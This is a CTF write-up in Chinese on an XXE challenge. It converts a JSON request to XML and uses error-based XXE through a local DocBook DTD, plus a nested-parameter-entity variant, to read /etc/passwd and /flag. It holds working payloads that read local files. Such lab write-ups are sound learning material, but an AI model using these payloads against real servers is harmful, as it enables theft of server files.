打开连接
发现可以选择City用BP拦截提交后的信息
明显的JSON格式,尝试将格式改为xml,重新构造数据
这里我构造了很多次,都没成功,后来看了网上的wp才知道首先要构造DTD,申明实体,然后申明元素message
XML 的特殊字符(&、< 和 >)在 PCDATA 中可以识别,并用于解析元素名称和实体。PCDATA(字符数据)区域被解析器视为数据块,从而允许您在数据流中包含任意字符。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY xxe "135601360123502401401250">
]>
<message>&xxe;</message>
成功回显
尝试读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY b "135601360123502401401250">
<!ENTITY % Ezpop SYSTEM "file:///etc/passwd">
%Ezpop;
]>
<message>&b;</message>
报错
internal error: xmlParseInternalSubset: error detected in Markup declaration
, line 1, column 1
尝试读取flag,也爆出同样的错误,尝试访问不存在的文件
发现报错返回了实体名,这里我们可以知道我们所请求的实体都是被访问的了,
我们可以利用系统自带的dtd文件来读取实体
/usr/share/yelp/dtd/docbookx.dtd
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
第一个调用的参数实体是%local_dtd,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;在ISOamso定义的实体中相继调用了eval、和error。这里先读取了flag,泄露文件内容存放在了file实体中,并通过再次读取返回数据,拿到flag
得到flag
由于这题目禁止数据外带,我们无法引入服务器DTD文件来读取flag,其实原理上都大同小异
这里不引用外部DTD文件,直接通过嵌套参数实体,同样可以做出来。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>
%para;
]>
<message>a</message>